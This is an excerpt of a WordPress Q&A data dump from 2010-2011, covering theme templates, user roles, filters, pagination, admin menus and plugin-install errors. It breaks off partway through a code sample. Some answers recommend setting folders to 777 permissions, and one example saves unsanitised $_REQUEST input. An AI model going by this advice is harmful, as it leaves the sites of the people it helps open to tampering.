  <row Id="9179" PostTypeId="1" AcceptedAnswerId="9183" CreationDate="2011-02-12T09:34:31.750" Score="1" ViewCount="119" Body="&lt;p&gt;I am working on a wordpress site,its an online newspaper site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme I am developing, want to add custom template function like &quot;get_footer()&quot; or &quot;get_header()&quot;, so that I can save those html+php codes like &quot;footer.php&quot; stores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3102" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-12T11:10:45.800" LastActivityDate="2011-02-12T11:10:45.800" Title="How to add custom template tag in wordpress theme?" Tags="&lt;theme-development&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="9180" PostTypeId="1" AcceptedAnswerId="9181" CreationDate="2011-02-12T09:51:47.607" Score="0" ViewCount="131" Body="&lt;p&gt;is there a way to add a new user role?&#xA;I need two kind of readers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;can read all private posts&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;can read just private posts from a specific category.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Subscriber as described &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; could be fair enough to satisfy the firs kind of reader.&#xA;Then what I need is to define something less than subscriber, once I can test if a user has this new role for me it's ok.&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="2038" LastEditorDisplayName="" LastEditDate="2011-02-12T09:57:03.670" LastActivityDate="2011-02-12T10:07:00.730" Title="create new user role for reader" Tags="&lt;user-roles&gt;" AnswerCount="2" />
  <row Id="9181" PostTypeId="2" ParentId="9180" CreationDate="2011-02-12T09:58:41.797" Score="1" ViewCount="" Body="&lt;p&gt;this plugin should help you with what you need and more &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-02-12T09:58:41.797" />
  <row Id="9182" PostTypeId="2" ParentId="9180" CreationDate="2011-02-12T10:07:00.730" Score="1" ViewCount="" Body="&lt;p&gt;For 1. you can define a new role using &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot; title=&quot;CapsMan&quot;&gt;CapsMan plugin&lt;/a&gt;. You can give him the permission to edit , read and view private post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2. you can use a member plugins like &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&lt;/a&gt;. That could be more that you need!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-12T10:07:00.730" />
  <row Id="9183" PostTypeId="2" ParentId="9179" CreationDate="2011-02-12T10:12:47.713" Score="1" ViewCount="" Body="&lt;p&gt;You can define your function in the file function.php and use it later in your theme.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-12T10:12:47.713" />
  <row Id="9184" PostTypeId="2" ParentId="9179" CreationDate="2011-02-12T10:19:19.690" Score="4" ViewCount="" Body="&lt;p&gt;In Wordpress 3.0 you can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part($slug, $name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will include file named &quot;{slug}-{name}.php&quot;. The $name is optional, and if it's empty, the function will include file named &quot;{slug}.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the traditional PHP-code, but this do not check if the file exsist. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(TEMPLATEPATH . 'template-name.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-02-12T10:19:19.690" />
  <row Id="9185" PostTypeId="1" CreationDate="2011-02-12T11:31:59.087" Score="0" ViewCount="592" Body="&lt;p&gt;I have a custom page where I try to change the page title.&lt;br&gt;&#xA;The function executes, but the title is not changed. This is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  add_filter('wp_title', set_page_title($brand));&#xA;&#xA;  function set_page_title($brand) { &#xA;    $title = 'Designer '.$brand['name'].' - '.get_bloginfo('name');&#xA;    //Here I can echo the result and see that it's actually triggered&#xA;    return $title;  &#xA;  } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So why is this not working? Am I using add_filter wrong?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-02-12T13:16:19.757" Title="Not able to change wp_title using add_filter" Tags="&lt;filters&gt;" AnswerCount="1" />
  <row Id="9186" PostTypeId="1" AcceptedAnswerId="9187" CreationDate="2011-02-12T11:56:15.083" Score="0" ViewCount="185" Body="&lt;p&gt;I am new to wordpress development, just trying to convert my HTML into a WordPress theme, I started with Chris Coyer's blank theme. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;next-posts&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;prev-posts&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I output the div only if there is a &lt;code&gt;next_posts_link()&lt;/code&gt;. I need this as I will be using &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; for my pagination. If I don't do that, I will get an empty bullet&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-12T22:45:03.880" Title="How to determine if theres a next page" Tags="&lt;pagination&gt;" AnswerCount="2" />
  <row Id="9187" PostTypeId="2" ParentId="9186" CreationDate="2011-02-12T12:12:00.423" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;get_previous_posts_link&lt;/code&gt; and &lt;code&gt;get_next_posts_link&lt;/code&gt;&#xA;to determine if they exists  like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prev_link = get_previous_posts_link(__('&amp;amp;laquo; Older Entries'));&#xA;$next_link = get_next_posts_link(__('Newer Entries &amp;amp;raquo;'));&#xA;// as suggested in comments&#xA;if ($prev_link || $next_link) {&#xA;  echo '&amp;lt;ul class=&quot;navigation&quot;&amp;gt;';&#xA;  if ($prev_link){&#xA;    echo '&amp;lt;li&amp;gt;'.$prev_link .'&amp;lt;/li&amp;gt;';&#xA;  }&#xA;  if ($next_link){&#xA;    echo '&amp;lt;li&amp;gt;'.$next_link .'&amp;lt;/li&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope This Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-12T15:36:37.293" LastActivityDate="2011-02-12T15:36:37.293" CommentCount="4" />
  <row Id="9188" PostTypeId="2" ParentId="7463" CreationDate="2011-02-12T12:36:57.700" Score="0" ViewCount="" Body="&lt;p&gt;Mike, you should have put a little 'sarkasm' tag on the 'Another easy one!' line...for a moment there i didn't quite see how hacking the core menu arrays is an easy one...until i read your 'Challenge'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a similar challenge using 3.0.5...which is to try and add a custom page underneath a custom post types section. When doing so, it always loads as edit.php?post_type=xyz .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fun is, edit.php includes admin-header.php, which in turn then includes admin.php, which then causes the page you specified via add_submenu_page() to be loaded. But first of all, this seems more like a lucky conincidence, secondly, it does that only after edit.php did all it's initialization stuff. BAD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, it leads to trouble down the road when you try to reuse your URL or parts of it (like query args and the likes) on your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, i totally agree...this stuff is way too easy to do to justify an overhaul of the admin menu generation. ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks anyways, for your hint, i'm gonna try what i can achieve by hacking the arrays directly, now.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-12T12:36:57.700" />
  <row Id="9189" PostTypeId="2" ParentId="9185" CreationDate="2011-02-12T13:16:19.757" Score="1" ViewCount="" Body="&lt;p&gt;You cannot pass an array to set_page_title, the filters callback accept only the original title as input parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your function work this way, define the $brand array outside the function and make it global&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  add_filter('wp_title', set_page_title);&#xA;&#xA;  $brand = array('name'=&amp;gt;'Brand Name');&#xA;&#xA;  function set_page_title($orig_title) { &#xA;    global $brand;&#xA;    $title = 'Designer '.$brand['name'].' - '.get_bloginfo('name');&#xA;    //Here I can echo the result and see that it's actually triggered&#xA;    return $title;  &#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-12T13:16:19.757" CommentCount="3" />
  <row Id="9190" PostTypeId="2" ParentId="8650" CreationDate="2011-02-12T13:28:20.393" Score="4" ViewCount="" Body="&lt;p&gt;An empty post is created by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/includes/post.php#L351&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_default_post_to_edit()&lt;/code&gt;&lt;/a&gt;. This function reads the &lt;code&gt;post_title&lt;/code&gt;, &lt;code&gt;content&lt;/code&gt; and &lt;code&gt;excerpt&lt;/code&gt; values in the &lt;code&gt;$_REQUEST&lt;/code&gt; array, and also filters them through &lt;code&gt;default_title&lt;/code&gt;, &lt;code&gt;default_content&lt;/code&gt; and &lt;code&gt;default_excerpt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default this function only returns a &quot;fake&quot; &lt;code&gt;$post&lt;/code&gt; object, but if the &lt;code&gt;$create_in_db&lt;/code&gt; parameter is set to &lt;code&gt;true&lt;/code&gt;, it is actually saved in the database with the &lt;code&gt;post_status&lt;/code&gt; set to &lt;code&gt;auto-draft&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/post-new.php#L50&quot; rel=&quot;nofollow&quot;&gt;This parameter is set in &lt;code&gt;post-new.php&lt;/code&gt;&lt;/a&gt;, which means you can hook into &lt;code&gt;wp_insert_post&lt;/code&gt; and save extra stuff, like tags, from the &lt;code&gt;$_REQUEST&lt;/code&gt; array or from an external source. A very simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'load-post-new.php', 'wpse8650_post_new' );&#xA;function wpse8650_post_new()&#xA;{&#xA;    add_action( 'wp_insert_post', 'wpse8650_wp_insert_post_default' );&#xA;}&#xA;&#xA;function wpse8650_wp_insert_post_default( $post_id )&#xA;{&#xA;    add_post_meta( $post_id, 'wpse8650_meta_key', $_REQUEST['meta_value'] );&#xA;    wp_set_post_tags( $post_id, $_REQUEST['tags']) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works because the custom fields and post tags are read again from the database (or the cache) when building the page, and we do this before these metaboxes are displayed.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-12T13:28:20.393" />
  <row Id="9191" PostTypeId="2" ParentId="7029" CreationDate="2011-02-12T13:44:04.393" Score="2" ViewCount="" Body="&lt;p&gt;Hey Mike, your issue #3 is due to you specifying &lt;code&gt;($microsite, 'the_microsite_editor')&lt;/code&gt;, where it should be &lt;code&gt;(__CLASS__, 'the_microsite_editor')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; After spending way too much time trying to solve some similar trouble for my own plugin, here's something I found that may help with your Challenge &lt;em&gt;(note that the functions are methods underneath your class):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_posttype_submenu_page($mytype, $label, $cap, $slug) {  &#xA;    /* we add two submenu pages to work around the &#xA;       edit.php?post_type=...&amp;amp;page=...problem and have &#xA;       our page called as admin.php?page=... instead */&#xA;    //first create a 'blind' pseudo-entry to register our page callback&#xA;    add_submenu_page($mytype, $label, $label, $cap, $slug, &#xA;                     array( &amp;amp;$this, 'admin_'.$mytype ));&#xA;    //then create a real entry that 'calls' our pseudo-entry&#xA;    add_submenu_page('edit.php?post_type='.$mytype, $label, &#xA;                     $label, $cap, 'admin.php?page='.$slug);&#xA;    /* then lets fix/hack the highlighting */&#xA;    global $plugin_page;&#xA;    global $submenu_file;&#xA;    if ($plugin_page == $slug) {&#xA;        // this next line highlights the submenu entry&#xA;        $submenu_file = 'admin.php?page='.$slug; &#xA;        add_filter('parent_file', &#xA;                   array(&amp;amp;$this, 'evil_parent_file_hack'));&#xA;    }&#xA;} &#xA;&#xA;function evil_parent_file_hack() {&#xA;    //we do this to get the parent menu properly highlighted, too&#xA;    //it only gets called on the submenu menu page in question&#xA;    global $self;&#xA;    global $parent_file;&#xA;    $self = $parent_file;&#xA;    remove_filter('parent_file', array(&amp;amp;$this, 'evil_parent_file_hack'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you simply call &lt;code&gt;add_posttype_submenu_page()&lt;/code&gt; with the according parameters.&#xA;This should properly add a submenu item to a menu that was auto-created during a &lt;code&gt;register_post_type()&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-12T17:21:59.110" LastActivityDate="2011-02-12T17:21:59.110" CommentCount="5" />
  <row Id="9192" PostTypeId="1" CreationDate="2011-02-12T14:01:56.520" Score="1" ViewCount="90" Body="&lt;p&gt;I am new to WordPress development, hope this is not a too stupid question. How can I setup my Menu such that it has links to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Home&lt;/li&gt;&#xA;&lt;li&gt;About (Page)&lt;/li&gt;&#xA;&lt;li&gt;Blog (I think posts in all categories except Portfolio &amp;amp; In the Works)&lt;/li&gt;&#xA;&lt;li&gt;Portfolio (Category)&lt;/li&gt;&#xA;&lt;li&gt;In the Works (Category)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think all is easy except I dont immediately see a way to point to the home page (maybe I need to &quot;hardcode&quot; something like &lt;code&gt;http://domain.com&lt;/code&gt;?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how can I have a link to the Blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case, I am refering to the below screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgur.com/AjPhM.jpg&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://imgur.com/AjPhM.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastEditorUserId="2511" LastEditorDisplayName="" LastEditDate="2011-02-13T11:02:04.363" LastActivityDate="2011-02-13T11:02:04.363" Title="How to set my main menu items" Tags="&lt;menus&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9193" PostTypeId="2" ParentId="9192" CreationDate="2011-02-12T14:26:59.227" Score="1" ViewCount="" Body="&lt;p&gt;For Home, you can use a custom links, the second box in the left column, referring to your screenshoot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the blog, you must have a page where there are all the categories except &quot;portfolio&quot; and &quot;in the works&quot;. The link it using custom links&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-12T14:26:59.227" />
  <row Id="9194" PostTypeId="1" AcceptedAnswerId="9199" CreationDate="2011-02-12T14:56:57.097" Score="0" ViewCount="88" Body="&lt;p&gt;I'm unable to devine what's causing my theme to crash in WP 2.9.2, although I know its something in my query statement below, so I need to do a version check for (version) &amp;lt; 3 to branch it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the method to get the currently installed WP version? - I'm just using &quot;wp_version&quot; as a stand in :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(wp_version &amp;lt; 3)&#xA;    $myqueryTopMenu = '';&#xA;else&#xA;    $myqueryTopMenu = new WP_Query();$myqueryTopMenu-&amp;gt;query(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'post_not_in' =&amp;gt; get_option('sticky_posts')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-16T09:36:26.693" Title="Code to determine WP version check" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="9195" PostTypeId="1" AcceptedAnswerId="15293" CreationDate="2010-08-10T05:50:57.667" Score="2" ViewCount="858" Body="&lt;p&gt;I am unable to install any theme/plugin to my wordpress 3.0 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading install package from http://downloads.wordpress.org/plugin/contact-form-7.2.3.1.zip…    &#xA;Unpacking the package…    &#xA;Installing the plugin…    &#xA;Could not copy file. /public_html/blog/wp-content/plugins/contact-form-7/languages/wpcf7-lt_LT.po    &#xA;Plugin install failed.&#xA;&#xA;&#xA;Downloading install package from http://wordpress.org/extend/themes/download/piano-black.2.2.zip…&#xA;Unpacking the package…&#xA;Could not create directory. /public_html&#xA;&#xA;Downloading install package from http://downloads.wordpress.org/plugin/contact-form-7.2.3.1.zip…&#xA;Unpacking the package…&#xA;Could not create directory. /public_html/blog/wp-content/upgrade/contact-form-7.tmp/contact-form-7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get similar messages everytime. Is there any solution?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2011-04-21T03:48:53.510" Title="How to prevent plugin, theme installation failures on Wordpress?" Tags="&lt;themes&gt;" AnswerCount="5" />
  <row Id="9196" PostTypeId="2" ParentId="9195" CreationDate="2010-08-10T09:27:42.967" Score="3" ViewCount="" Body="&lt;p&gt;Check your folder permission. Most likely your folder doesn't have correct permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permission should be &lt;a href=&quot;http://gd.tuwien.ac.at/linuxcommand.org/lts0070.php&quot; rel=&quot;nofollow&quot;&gt;set to 777&lt;/a&gt;. If you have cPanel on your host, then it would be easy for your to do because the GUI is similar to WIndows. &lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2010-08-10T09:27:42.967" CommentCount="3" />
  <row Id="9197" PostTypeId="2" ParentId="9195" CreationDate="2010-08-21T23:19:12.883" Score="1" ViewCount="" Body="&lt;p&gt;Are you recursively changing the permissions? /public_html/blog/wp-content/plugins/ would need to be 755, 775, or 777 depending on whether you're the same user, same group, or neither, respectively, as the file/folder owner. I agree with phwd that 777 should be a last resort.&lt;/p&gt;&#xA;" LastActivityDate="2010-08-21T23:19:12.883" />
  <row Id="9198" PostTypeId="2" ParentId="9195" CreationDate="2011-02-12T09:43:11.383" Score="1" ViewCount="" Body="&lt;p&gt;to my experience, check wp-content.. is there &quot;upgrade&quot; folder? if isn't, you must create it, n set to 777&#xA;or if the upgrade folder exists, u must remove it n recreate the new one&lt;/p&gt;&#xA;" LastActivityDate="2011-02-12T09:43:11.383" />
  <row Id="9199" PostTypeId="2" ParentId="9194" CreationDate="2011-02-12T15:14:14.287" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_bloginfo( 'version' )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other version globals can be found in wp-includes/version.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it's safer to use PHP's &lt;a href=&quot;http://php.net/version_compare&quot; rel=&quot;nofollow&quot;&gt;version_compare()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-16T09:36:26.693" LastActivityDate="2011-02-16T09:36:26.693" CommentCount="2" />
  <row Id="9200" PostTypeId="1" CreationDate="2011-02-12T15:48:11.647" Score="0" ViewCount="43" Body="&lt;p&gt;The importer must import mp3 files and create a product in eshop or TheCartPress. It should retrieve and apply the genre tag information. The product generated by the importer must show the album pic ( jpg ) and the tracks of the album.  The track list should show track name (= mp3 filename), sampling quality and size. Files to be imported are in folder 'albumname'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" LastActivityDate="2011-02-14T09:07:30.003" Title="Looking for a file importer" Tags="&lt;customization&gt;" CommentCount="2" />
  <row Id="9202" PostTypeId="1" AcceptedAnswerId="9205" CreationDate="2011-02-12T16:35:17.183" Score="0" ViewCount="386" Body="&lt;p&gt;I'm using this code to display the thumbnail (featured picture) of the previous and next post (a custom post type called Blocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A custom loop)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create and run custom loop&#xA;    $custom_posts = new WP_Query();&#xA;    $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Mainbar');&#xA;    while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;?&amp;gt;  &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // Display previous and next posts thumbnails     &#xA;    ?&amp;gt;  &amp;lt;div class=&quot;float-left&quot;&amp;gt; &amp;lt;?php&#xA;            $prevPost = get_previous_post();&#xA;            $prevthumbnail = get_the_post_thumbnail($prevPost-&amp;gt;ID);&#xA;            previous_post_link('%link', $prevthumbnail);&#xA;    ?&amp;gt;  &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php // Get thumbnail of next post&#xA;    ?&amp;gt;  &amp;lt;div class=&quot;float-right&quot;&amp;gt; &amp;lt;?php&#xA;            $nextPost = get_next_post();&#xA;            $nextthumbnail = get_the_post_thumbnail($nextPost-&amp;gt;ID);&#xA;            next_post_link('%link', $nextthumbnail);&#xA;    ?&amp;gt;  &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the chronology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gQlf6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;http://localhost/wpac/?blocks=mainbar&quot; title=&quot;Permalink to Mainbar&quot; rel=&quot;bookmark&quot;&amp;gt;Mainbar&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;float-left&quot;&amp;gt; &amp;lt;a href=&quot;http://localhost/wpac/?blocks=mainbar-left&quot; rel=&quot;prev&quot;&amp;gt;&amp;lt;img width=&quot;160&quot; height=&quot;150&quot; src=&quot;http://localhost/wpac/wp-content/uploads/2011/02/showcase2.png&quot; class=&quot;attachment-post-thumbnail wp-post-image&quot; alt=&quot;showcase2&quot; title=&quot;showcase2&quot; /&amp;gt;&amp;lt;/a&amp;gt;  &amp;lt;/div&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;float-right&quot;&amp;gt; &amp;lt;a href=&quot;http://localhost/wpac/?blocks=mainbar-right&quot; rel=&quot;next&quot;&amp;gt;&amp;lt;img width=&quot;160&quot; height=&quot;150&quot; src=&quot;http://localhost/wpac/wp-content/uploads/2011/02/2974999772_7085da4d347.jpg&quot; class=&quot;attachment-post-thumbnail wp-post-image&quot; alt=&quot;2974999772_7085da4d347&quot; title=&quot;2974999772_7085da4d347&quot; /&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;block-3 border-top&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;http://localhost/wpac/?blocks=sidebar&quot; title=&quot;Permalink to Sidebar&quot; rel=&quot;bookmark&quot;&amp;gt;Sidebar&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;a href=&quot;http://localhost/wpac/?blocks=sidebar&quot; title=&quot;Permalink to Sidebar&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;img width=&quot;160&quot; height=&quot;150&quot; src=&quot;http://localhost/wpac/wp-content/uploads/2011/02/2974999772_7085da4d3410.jpg&quot; class=&quot;attachment-post-thumbnail wp-post-image&quot; alt=&quot;2974999772_7085da4d3410&quot; title=&quot;2974999772_7085da4d3410&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter in which single post I am. The thumbnails of &lt;code&gt;Mainbar Left&lt;/code&gt; and &lt;code&gt;Mainbar Right&lt;/code&gt; are always displayed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The Template for displaying all single posts.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;&#xA;    get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Work&amp;amp;section=Intro');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;                &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Work&amp;amp;section=Tagline');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-2 padding-top&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Create and run custom loop ?&amp;gt;&#xA;            &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;            &amp;lt;?php // Display the thumbnail of the previous post ?&amp;gt;&#xA;                &amp;lt;div class=&quot;float-left&quot;&amp;gt; &amp;lt;?php&#xA;                    $prevPost = get_previous_post();&#xA;                    $prevthumbnail = get_the_post_thumbnail($prevPost-&amp;gt;ID); ?&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php previous_post_link('%link', 'Previous'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php previous_post_link('%link', $prevthumbnail); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php // Display the thumbnail of the next post ?&amp;gt;&#xA;                &amp;lt;div class=&quot;float-right&quot;&amp;gt; &amp;lt;?php&#xA;                    $nextPost = get_next_post();&#xA;                    $nextthumbnail = get_the_post_thumbnail($nextPost-&amp;gt;ID); ?&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php next_post_link('%link', 'Next'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php 